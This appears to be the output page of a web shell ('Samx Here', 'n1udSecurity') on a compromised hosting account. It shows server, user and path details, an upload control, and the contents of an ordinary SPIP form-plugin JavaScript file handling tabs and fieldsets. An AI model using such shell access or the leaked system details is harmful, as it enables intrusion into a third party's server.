Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/jobs/plugins/auto/saisies/javascript/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/jobs/plugins/auto/saisies/javascript/saisies.js
jQuery(function(){
	saisies_fieldset_pliable();
	saisies_fieldset_onglet();
	saisies_multi_novalidate();
	onAjaxLoad(saisies_fieldset_pliable);
	onAjaxLoad(saisies_fieldset_onglet);
	onAjaxLoad(saisies_multi_novalidate);
});

/**
 * Rend certains fieldsets pliables
 *
 * Il s'agit des fieldsets portant les classes "fieldset.pliable"
 * Non cumulable avec les fieldsets en onglets.
 */
function saisies_fieldset_pliable(){
	// On cherche les groupes de champs pliables
	jQuery('.fieldset.pliable')
		.each(function(){
			var fieldset = jQuery(this);
			var groupe = jQuery(this).find('> .editer-groupe');
			var legend = jQuery(this).find('> legend');

			// On éviter de plier un fieldset qui contient des erreurs lors de
			// l'initialisation.
			if (fieldset.find('.erreur').length > 0) {
				fieldset.removeClass('plie');
			}

			// S'il est déjà plié on cache le contenu
			if (fieldset.is('.plie'))
				groupe.hide();

			// Ensuite on ajoute une action sur le titre
			legend
				.unbind('click')
				.click(
					function(){
						fieldset.toggleClass('plie');
						if (groupe.is(':hidden'))
							groupe.show();
						else
							groupe.hide();
					}
				);
		});
};

/**
 * Tranforme certains fieldsets en onglets
 *
 * - Ceux portant les classes "fieldset.fieldset_onglet".
 * - Accessible à l'exception de la navigation au clavier.
 * - Les onglets sont persistants si les fieldsets possèdent un id ou un data-id.
 * - Non cumulable avec les fieldsets pliables.
 *
 * Markup inspiré de https://van11y.net/fr/onglets-accessibles/
 */
function saisies_fieldset_onglet() {

	// Classes utilisées
	var classes = {
		// conteneur général
		wrapper_horizontal: 'saisies-onglets',
		wrapper_vertical: 'saisies-onglets saisies-onglets-verticaux',
		// Menu
		tablist:       'saisies-menu-onglets',
		tablist_items: 'saisies-menu-onglets__items',
		tablist_item:  'saisies-menu-onglets__item',
		tablist_link:  'saisies-menu-onglets__lien',
		active:        'actif',
		error:         'erreur',
		scrollable:    'scrollable',
		// contenus (les fieldsets)
		tabscontents:  'saisies-contenus-onglets',
		tabcontent:    'saisies-contenu-onglet afficher_si_sans_visuel', // en complément de .fieldset_onglet
	}
	var selecteur_fieldset = '.fieldset.fieldset_onglet:not(.pliable)';
	var storage = window.sessionStorage;
	// Générer les onglets
	var init = function() {
		$.each(collections_fieldsets(), function(i, $fieldsets) {
			// On peut avoir des onglets horizontaux dans les onglets verticaux, donc il faut reinitialiser à chaque niveau
			classes.wrapper = classes.wrapper_horizontal;
			// A-t-on ne serait-ce qu'un onglet vertical ? Si oui, on considère que tout est en vertical
			$fieldsets.each(function() {
				if ($(this).hasClass('fieldset_onglet_vertical')) {
					classes.wrapper = classes.wrapper_vertical;
					return false;
				}
			});

			var
				$conteneur				= $('<div class="'+classes.wrapper+'"></div>'),
				$menu							= $('<nav class="'+classes.tablist+'"><ul class="'+classes.tablist_items+'" role="tablist"></ul></nav>'),
				$contenus					= $('<div class="'+classes.tabscontents+'"></div>'),
				ids_contenus			= [],
				$first_fieldset		= $fieldsets.first(),
				id_menu						= null;

			// On insère un conteneur général avant le premier fieldset de la série
			// puis celui des contenus à l'intérieur.
			$conteneur.append($contenus).insertBefore($first_fieldset);

			// On parcourt la série de fieldsets pour préparer
			// les entrées du menu, les interactions et les contenus
			$fieldsets.each(function() {

				var
					$contenu      = $(this),
					id_persistant = $contenu.attr('id') || $contenu.attr('data-id'),
					afficher_si		= $contenu.attr('data-afficher_si') || 'true',
					id_contenu    = id_persistant || randomId(),
					id_onglet     = 'onglet-' + id_contenu;

				// On ajoute les attributs nécessaire : id, classe, role et aria
				// puis on le cache d'office et on le déplace dans le conteneur.

				$contenu
					.attr('id', id_contenu)
					.addClass(classes.tabcontent)
					.attr('role', 'tabpanel')
					.attr('aria-labelledby', id_onglet)
					.attr('data-saisies-onglet', true) // pour s'assurer de ne pas passer plusieurs fois
					.hide().attr('hidden', '')
					.appendTo($contenus);

				// On récupère le titre et on le cache
				var titre = $contenu.find('legend').first().hide().text();

				// On crée l'onglet avec son interaction
				var $onglet = $('<li class="'+classes.tablist_item+'"><a class="'+classes.tablist_link+'" href="#'+id_contenu+'" id="'+id_onglet+'" aria-controls="'+id_contenu+'" role="tab" aria-selected="false" tabindex="-1">'+titre+'</a></li>');
				var autoriser_changement = false;
				$onglet
					.attr('data-afficher_si', afficher_si)
					.click(function() {
						$(this).siblings().has('.' + classes.active).each(function() {
							var onglet_reference = $(this).find('a').attr('href');
							autoriser_changement = container_reportValidity(onglet_reference);
						});
						if (autoriser_changement) {
							activer_onglet($(this).find('.'+classes.tablist_link));
						}
						return false;
					});

				// Lorsqu'on masque l'onglet avec afficher_si, désactiver l'onglet, puis se rendre si possible au premier onglet
				$onglet.on('afficher_si_masque_pre', function() {
					$this_onglet = $(this);
					$lien = $this_onglet.children('a');
					// Si c'est onglet actif, on ferme l'onglet et on cherche le premier onglet dispo
					if ($lien.attr('aria-selected') == 'true') {
						$nouvel_onglet = $this_onglet.siblings().not('.afficher_si_masque').first().children('a')
						desactiver_onglet($lien);//On désactive dans tous les cas l'onglet courant, car cela se trouve il n'y aura pas d'autres onglets à activer
						activer_onglet($nouvel_onglet);
					}
				});


				// Lorsqu'on rend visible l'onglet après un afficher_si, si c'est le seul, y aller directement
				$onglet.on('afficher_si_visible_post', function() {
					$voisins = $(this).siblings().not('.afficher_si_masque');
					if (!$voisins.length) {
						activer_onglet($onglet.children('a'));
					}
				});


				// On note l'id persistant
				if (id_persistant) {
					ids_contenus.push(id_persistant);
				}

				// S'il y a des erreurs dans cette partie du contenu, on met une classe "erreur" à l'onglet aussi
				if ($contenu.find('.editer.erreur').length) {
					$onglet.children('a').addClass(classes.error);
				}
				// On ajoute l'onglet au menu
				$menu.find('.'+classes.tablist_items).append($onglet);
			});

			// On insère le menu dans le DOM.
			// Si *tous* les fieldsets on un id persistant, on peut s'en servir pour celui du menu,
			// ce qui permet la navigation persistante.
			// l'id du menu sera utilisé comme clé dans la session, on le simplifie avec un hash.
			if (ids_contenus.length === $fieldsets.length) {
				id_menu = 'onglets-'+hashCode(ids_contenus.join(''));
				$menu.attr('data-id', id_menu);
			}
			$menu.prependTo($conteneur);

			// Indiquer si le menu doit être scrollable
			if ($menu[0].scrollWidth > $menu[0].clientWidth) {
				$menu.addClass(classes.scrollable);
			}

			// On active l'onglet par défaut, par ordre de priorité :
			//  - le premier avec une erreur
			//	- celui en session s'il existe
			//	- le 1er trouvé
			var $onglet_defaut;
			if ($('.' + classes.tablist_link + '.' + classes.error).length > 0) {
				$onglet_defaut = $('.' + classes.tablist_link + '.' + classes.error).first();
			} else if (storage.getItem(id_menu) !== null && $('#'+escapeId(storage.getItem(id_menu))).length > 0) {
				$onglet_defaut = $('#'+escapeId(storage.getItem(id_menu)));
			} else {
				$onglet_defaut = $menu.find('.'+classes.tablist_link).first();
			}
			activer_onglet($onglet_defaut, 0, false);

		});

		// Si un problème de validation sur un champ, basculer vers le fieldset qui contient l'élèment invalide
		// Note : on initialise cela en dehors de l'initialisation des onglets
		// Car un même champ peut être dans plusieurs onglets (onglets imbriqués)
		// Et on ne veut pas de double écouteur
		$('.' + classes.tabscontents + ' [name]').on('invalid', function() {
			// On fait cela lot d'onglets par lot d'onglets
			$(this).parents('form').find('.' + classes.tabscontents).each(function() {
				var id_fieldset = '#' + $(this).find('> fieldset:invalid').first().attr('id');
				var $onglet = $('a[href="' + id_fieldset + '"]');
				activer_onglet($onglet);
			});
		});
	}

	// Retourne un tableau de collections de fieldsets
	// par log de fieldset coté à cote
	var collections_fieldsets = function() {
		var collections = [];
		$(selecteur_fieldset).each( function() {
			$fieldsets_niveau = $(this).add($(this).nextUntil(':not('+selecteur_fieldset+')')),
			parsed = $(this).data('saisies-onglet-parsed') || false;
			if (!parsed) {
				collections.push($fieldsets_niveau);
				$fieldsets_niveau.each( function() {
					$(this).data('saisies-onglet-parsed', true);
				});
			}
		});
		return collections;
	}

	// Activer un onglet
	// en commencant par désactiver son voisin
	// @param object $onglet Élément <a>
	var activer_onglet = function( $onglet, duree = 150, persistant = true ) {
		$onglet_actuel = $onglet.parent().siblings().has('.' + classes.active).find('.' + classes.tablist_link);
		desactiver_onglet($onglet_actuel);
		if ($onglet.length) {
			var $contenu = $(escapeId($onglet.attr('href')));
			$onglet.addClass(classes.active).attr('aria-selected', true).removeAttr('tabindex');
			$contenu.fadeIn(duree).removeAttr('hidden');
			// Mettre en session si on a ce qu'il faut
			var id_menu = $onglet.parents('.'+classes.tablist).attr('data-id') || null;
			if (persistant && id_menu) {
				storage.setItem(id_menu, $onglet.attr('id'));
			}
		}
	}

	// Désactiver un onglet
	// @param object $onglet Élément <a>
	var desactiver_onglet = function( $onglet, duree = 150 ) {
		if ($onglet.length) {
			var $contenu = $(escapeId($onglet.attr('href')));
			$onglet.removeClass(classes.active).attr('aria-selected', false).attr('tabindex', -1);
			$contenu.hide().attr('hidden', '');
		}
	}

	// Échapper les ids pour ne pas faire couiner jQuery
	var escapeId = function ( id ) {
		id = (id || '').replace(/[^\d\w_\-\#]/gi, '\\$&');
		return id;
	}

	// Retourne un identifiant aléatoire
	// https://stackoverflow.com/a/8084248
	var randomId = function (taille = 8) {
		var random = (Math.random() + 1).toString(36);
		return random.substring(random.length - taille);
	}

	// Hash simple et rapide
	// https://gist.github.com/hyamamoto/fd435505d29ebfa3d9716fd2be8d42f0
	var hashCode = function(s) {
		for (var i = 0, h = 0; i < s.length; i++)
			h = Math.imul(31, h) + s.charCodeAt(i) | 0;
		return Math.abs(h);
	}

	/*
	 * Vérifier la validité de l'ensemble des champs contenu dans element
	 * @param string selector : un critère de selection
	 * @return bool
	**/
	var container_reportValidity = function(selector) {
		var retour = true;
		$(selector).find('[name]').each(function() {
			retour = retour && $(this).get(0).reportValidity();//Un seul `false` et tout est `false`
		});
		return retour;
	}
	// C'est parti
	init();
}

function saisies_date_jour_mois_annee_changer_date(me, datetime) {
	var champ = jQuery(me);
	var li = champ.closest('.editer');
	var	jour = jQuery.trim(li.find('.date_jour').val());
	var	mois = jQuery.trim(li.find('.date_mois').val());
	var	annee = jQuery.trim(li.find('.date_annee').val());
	var	date = jQuery.trim(li.find('.datetime').val());

	while(jour.length < 2) {jour = '0' + jour;}
	while(mois.length < 2) {mois = '0' + mois;}
	while(annee.length < 4) {annee = '0' + annee;}

	if (datetime == 'oui') {
		heure = date.substring(10);
		if (!heure || !(heure.length == 9)) {
			heure = ' 00:00:00';
		}
		date = annee + '-' + mois + '-' + jour + heure;
	}
	else {
		date = annee + '-' + mois + '-' + jour;
	}
	li.find('.datetime').attr('value', date);
}

/** Ne pas valider lors des retours arrières sur multiétape **/
function saisies_multi_novalidate() {
	$('[name^="_retour_etape"],[name="aller_a_etape"]').click(function() {
		$(this).parents('form').attr('novalidate', 'novalidate');
	});
}

SAMX